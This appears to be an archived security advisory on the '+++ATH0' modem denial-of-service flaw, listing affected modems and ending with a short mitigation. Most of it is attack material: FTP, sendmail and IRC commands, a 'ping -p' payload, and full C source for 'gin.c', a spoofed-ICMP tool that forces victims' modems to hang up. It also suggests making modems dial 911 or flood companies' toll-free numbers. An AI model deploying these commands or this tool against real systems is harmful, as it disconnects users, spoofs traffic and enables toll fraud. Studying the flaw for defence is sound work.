COMMAND

    +++ATH0

SYSTEMS AFFECTED

    Many OS's using a dial-up connection, IRCs

PROBLEM

    Max Schau (Noc-Wage) posted following which was brought to you  by
    the  people  of  #hackers  undernet  and  M.C.S.R.  It's about old
    stuff, but still very present these days.

    Most modems today follow the Hayes Command set (ATZ, ATDT, ATH0..)
    Unfortunately the  way that  these modems  handle certain  strings
    leaves them  susceptible to  a specific  type of  DoS attack.   By
    forcing  the  victim  to  respond  with  the string "+++ATH0" many
    brands of modems will interpret  the +++ATH0 as the user  manually
    attempting to enter command mode  and execute a command.   Because
    of this, when the victim attempts to respond with the +++ATH0  the
    modem sees it within the IP datagram and hangs up the modem.

    An example of  a possible attack  follows (IP addresses  have been
    changed for obvious reasons):

        [wage@koroshiya /]$ telnet 192.168.1.1 21
        Trying 192.168.1.1...
        Connected to 192.168.1.1.
        Escape character is '^]'.
        220 foo FTP server (Version wu-2.4.2-academ[BETA-15](1) Fri Dec 12
        20:41:
        USER +++ATH0
        ^]
        telnet> close
        Connection closed.
        [wage@koroshiya wage]$ telnet 192.168.1.1 21
        Trying 192.168.1.1...
        telnet: Unable to connect to remote host: Network is unreachable
        [wage@koroshiya wage]$

    Modems known to be affected:

        Logicode 28.8
        Supra 33.6 (internal)
        Diamond Supra v.90
        Diamond SupraExpress 56k
        Noblelink 56k Plug and Play
        Zoom Internal 56kflex/v.90 (model 2812?)
        A/Open(acer) 56k

    Many more here, but only this has been tested.

    On some machines the process (such as ftpd or sendmail) which  the
    attacker connected too  does not realise  the connection has  been
    lost,  this  can  result  on  a  seemingly random disconnect after
    reconnecting.  PPP does NOT  compress the IP datagram by  default,
    thus  the  ip  datagram  contained  within  the  PPP frame will be
    exactly the same.  Thus if the IP datagram contains "+++ATH0"  the
    modem will receive the string exactly as such.  Two ways to  cause
    the victim to "send" you the +++ATH0 are to:

        1) Connect  to sendmail  (does not  work with  qmail) do "HELO
           blah.com".   Then type  "VRFY +++ATH0",  normally it  would
           say:  550 +++ATH0... User unknown, but because their  modem
           interprets the +++ATH0 the modem is hung up.
        2) Connect to FTP and type "USER +++ATH0".  Normally it  would
           respond:  331 Password  required for +++ATH0.   But because
           the modem sees the +++ATH0 it disconnects.

    As you can see it is  very simple, and millions of different  ways
    can easily be found  to generate the same  result.  Same goes  for
    IRCs.  For IRC users:

        //raw NOTICE ToastyMan : $+ $chr(1) $+ PING +++ATH0 $+ $chr(1)

    Also seems to work, and will work through bnc's or whatever  proxy
    you are going  through, since it's  part of the  irc protocol.....
    This only worked on one user though.

    Of course, this attack is very similar to a pipe bomb.   Sometimes
    it works, sometimes it doesn't, and sometimes it blows up in  your
    face. If  your modem  is effected  by this  attack then that means
    that  if  you  try  and  attack  there  is  a  chance  you will be
    disconnected.  When you send the +++ATH0 your modem will ALSO  see
    it.  There are ways around  this such as attacking from server  on
    a connection such a ISDN, cable modem...

    Now  following  is  MrPhoenix's  way  of  getting  the same result
    WITHOUT needing to connect.  He uses PING packets to get the  same
    result of forcing the victim to respond with the string.  Affected
    are all modems without the  requirement of a 500msec or  more idle
    period after the +++ command, connected with a PPP connection  w/o
    encryption/compression.  You can send an ICMP ECHO_REQUEST to  the
    target to elicit an ICMP  ECHO_RESPONSE, and fill the packet  with
    the +++ATH0<CR> characters.   The <CR> might  help in some  modems
    which require the ATH0 command to be followed by carriage  return.
    So  the  target  gets  the  ICMP  ECHO_REQUEST  and sends the ICMP
    ECHO_REPLY to  you with  the same  data of  the ICMP  ECHO_REQUEST
    packet.  This way the modem  reads the +++, goes to command  mode,
    then reads the command ATH0,  and closes the connection.   To make
    the above happen you can either make your own program to send  the
    required  packet,  or  use  the  ping program with the *wonderful*
    option "-p" with which you can specify up to 16 bytes to fill  out
    the packet to send.   The "-p" option requires  the pattern to  be
    entered in hex digits. The equivalent of the '+++ATH0<CR>'  string
    in hex is:  2b2b2b415448300d.  The complete command is:

        ping -p 2b2b2b415448300d <target>

    The "-p"  option is  not supported  by the"ping"  program from  MS
    shiped with MS-Windows.  Here is an example:

        [root@narf ath0]# ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx
        PATTERN: 0x2b2b2b415448300d
        PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes

        --- xxx.xxx.xxx.xxx ping statistics ---
        5 packets transmitted, 0 packets received, 100% packet loss
        [root@narf ath0]#

    Also, it occurs that this vulnerability could possibly be used to
    make the person's modem hang up and dial 911.

    There was an e-mail exploit  some time back that used  exactly the
    same DoS  to hang  peoples mail,  but simply  including the string
    "+++ ATH0"  (without the  spaces) in  an e-mail  message.   When a
    vulnerable  modem  attempted  to  send  the text, it went off-line
    immediately.

    The way  the following  exploit works  is it  hides escape/control
    sequences in a  ICMP echo_request packet  (it contains the  string
    +++ATH0) the  +++ sends  the modem  into escape  mode (and  if the
    guard time on the modem is  set ridiculously low) it will go  into
    command mode and you  can issue it an  ATH0 to hang up.   It works
    on the reply,  because it receives  the echo_request packet,  then
    duplicates  the  packet  with   a  new  timestamp  and   checksum,
    dest/source hosts and  returns it to  the sender, when  it returns
    it the string is sent to the modem, and thus hanging it up.  There
    are a few conditions that must be met for it to work (if you don't
    want to be vulnerable to this, fix these!)

    1)  target  computer  must  not  filter ICMP echo_request and must
        know how to reply to one if it gets one
    2)  target computer must be using a modem (you can't hangup  DS3s,
        although you could hangup  telco return connections... if  you
        can find one)
    3)  target computer must have a vulnerable modem (i.e. guard  time
        is set ridiculously low)
    4)  you have to be able to send spoofed packets (or..if you  can't
        you can use your own address, but then the target knows  where
        it came from)

    In theory..it is  possible to modify  the program to  do fun stuff
    like make  the target  call some  number after  it hangs  up (i.e.
    +++ATH0,,,DT5551212) should  make the  modem hangup,  pause for  6
    seconds then call 5551212..this is fun for obvious reasons.   Then
    the  next  variation   'amp'  came  up   with  is  a   smurf  like
    implementation in which you could make  a script to DoS a class  C
    subnet,  with  the  number  of  your least favorite company, since
    most company's have  800 numbers, not  only does this  cause chaos
    to the phone bank, but also costs ~$.30 per call...

    Also note: some machines seg fault when they run this, and setting
    the environment variable MALLOC_CHECK_  to 1 seems to  solve this.
    And... this code will probably come out all offset and break  when
    you try to compile  it... so just fix  it, it compiles fine  ( use
    g++ -O3 -o gin gin.c).

    /*
     * gin.c [ fuck the soda nukers, im no kiddie ]
     *
     * Author: amputee (amputee@fack.net)
     * Compiled on:
     *      Linux 2.2.9 i586 (GNU/Debian 2.2 development version)
     *      egcs-2.91.66
     *
     * [ disclaimer ]
     *  i really dont see how i could get in trouble for this stupid program
     *  its really not that great, but the legal system is gay these days,
     *  so...this program is for educational purposes only, and the author
     *  holds no liability for the actions of the people that use it, that
     *  includes dwarfs, cyclopses, albinos, and anyone else who may happen
     *  to use my program. dont modify or rip on this shit, suck me
     *      -- amp
     */
    #include <stdio.h>
    #include <signal.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <ctype.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <sys/time.h>

    #define VERSION "1.2-05.05" //fixed old compiler compatibility problems
    #define FRIEND  "foo"

    void usage( char *name );
    void banner( void );
    char *get_progname( char *fullname );
    void done( int foo );
    void gin( int port, struct sockaddr_in sin, struct sockaddr_in din );
    unsigned short in_chksum( u_short *ipbuf, int iplen );

    int main( int argc, char **argv )
    {
        struct hostent *sourceinfo, *destinfo;
        struct sockaddr_in sin, din;
        int sockfd, numpackets, i;
        char *target, *source;

        banner();

        ( argc < 4 ) ? usage( get_progname( argv[0] ) ) : ( void )NULL;

        source = argv[1];
        target = argv[2];
        numpackets = ( atoi( argv[3] ) );

        signal( SIGINT, done );

        if( ( sourceinfo = gethostbyname( source ) ) == NULL )
        {
            printf( "cannot resolve source host!\n" );
            exit( -1 );
        }
        memcpy( ( caddr_t )&sin.sin_addr, sourceinfo->h_addr,
            sourceinfo->h_length );
        sin.sin_family = AF_INET;

        if( ( destinfo = gethostbyname( target ) ) == NULL )
        {
            printf( "cannot resolve destination host!\n" );
            exit( -1 );
        }
        memcpy( ( caddr_t )&din.sin_addr, destinfo->h_addr,
            destinfo->h_length );
        din.sin_family = AF_INET;

        if( ( sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
        {
            printf( "Cannot get raw socket, you must be root!\n" );
            exit( -1 );
        }

        printf( "Source Host\t\t: %s\n", inet_ntoa( sin.sin_addr ) );
        printf( "Target Host\t\t: %s\n", inet_ntoa( din.sin_addr ) );
        printf( "Number\t\t\t: %d\n", numpackets );

        printf( "Have some gin sucka" );

        for( i = 0; i < numpackets; i++ )
            gin( sockfd, sin, din );

        printf( "\n\nsent %d packet%c...done\n", numpackets, ( numpackets > 1
    )
            ? 's' : ( char )NULL );
        return 0;
    }

    void usage( char *name )
    {
        printf( "usage: %s <source host> <dest host> <num packets>\n[ http://www.rootshell.com/ ] \n\n", name
    );
        exit( 0 );
    }

    void banner( void )
    {
            printf( "\ngin [ v%s ] /\\ by amputee\n", VERSION );
            printf( "compiled for: %s\n\n", FRIEND );
    }

    char *get_progname( char *fullname )
    {
        char *retval = strrchr( fullname, '/' );

        return retval ? ++retval : fullname;
    }

    void done( int foo )
    {
        puts( "Exiting...\n" );
        exit( 1 );
    }

    void gin( int port, struct sockaddr_in sin, struct sockaddr_in din )
    {
        char *ginstring = "+++ATH0\r+++ATH0\r+++ATH0\r+++ATH0\r";
        char *packet;
        int total;
        struct iphdr *ip;
        struct icmphdr *icmp;
        size_t msglen = sizeof( ginstring ), iphlen = sizeof( struct iphdr );
        size_t icplen = sizeof( struct icmphdr ), timlen = sizeof( struct
    timeval );
        int len = strlen( ginstring );

        packet = ( char * )malloc( iphlen + icplen + len );

        ip = ( struct iphdr * )packet;
        icmp = ( struct icmphdr * )( packet + iphlen );

        ( void )gettimeofday( ( struct timeval * )&packet[( icplen + iphlen )], ( struct timezone * )NULL );
        memcpy( ( packet + iphlen + icplen + timlen ), ginstring, ( len - 4 ) );

        ip->tot_len = htons( iphlen + icplen + ( len - 4 ) + timlen );
        ip->version = 4;
        ip->ihl = 5;
        ip->tos = 0;
        ip->ttl = 255;
        ip->protocol = IPPROTO_ICMP;
        ip->saddr = sin.sin_addr.s_addr;
        ip->daddr = din.sin_addr.s_addr;
        ip->check = in_chksum( ( u_short * )ip, iphlen );

        icmp->type = ICMP_ECHO;
        icmp->code = 0;
        icmp->checksum = in_chksum( ( u_short * )icmp, ( icplen + ( len - 4 ) ) );

        total = ( iphlen + icplen + timlen + len + 16 );

        sendto( port, packet, total, 0, ( struct sockaddr * )&din, sizeof( struct sockaddr ) );

        free( packet );
    }

    // stolen from smurf
    unsigned short in_chksum( u_short *ipbuf, int iplen )
    {
        register int nleft = iplen;
        register int sum = 0;
        u_short answer = 0;

        while( nleft > 1 )
        {
            sum += *ipbuf++;
            nleft -= 2;
        }

        if( nleft == 1 )
        {
            *( u_char * )( &answer ) = *( u_char * )ipbuf;
            sum += answer;
        }

        sum = ( sum >> 16 ) + ( sum + 0xffff );
        sum += ( sum >> 16 );
        answer = ~sum;

        return( answer );
    }

SOLUTION

    Some, such  as the  U.S. Robotics,  33.6 type  modems require that
    there  be  a  pause  of  a  about  a  second where no text is sent
    preceding the +++ before going  into command mode.  This  makes it
    impossible to force the modem to hang up since there is no way  to
    get the victim machine to reply with +++ without data  immediately
    following.   This is  because PPP  Frames have  data after  the IP
    datagram, so  if you  some how  managed to  make the  victim reply
    with a damaged IP datagram that had +++ as the last three  values,
    the following end of  the PPP frame would  be the data which  made
    the modem ignore the  +++.  All of  the USR modems tested  against
    were not effected, but most other brands ARE.

    To  protect  yourself  add  in  your  modem  initialization string
    "s2=255" which will disable the modem's ability to go into command
    mode.   (Can cause  problems for  some people).   What s2  does is
    change  the  character  which  is  used  to  enter  command  mode.
    Normally any value over 127 disables the ability to manually enter
    command mode but in some cases it requires a higher number, to  be
    sure just put 255.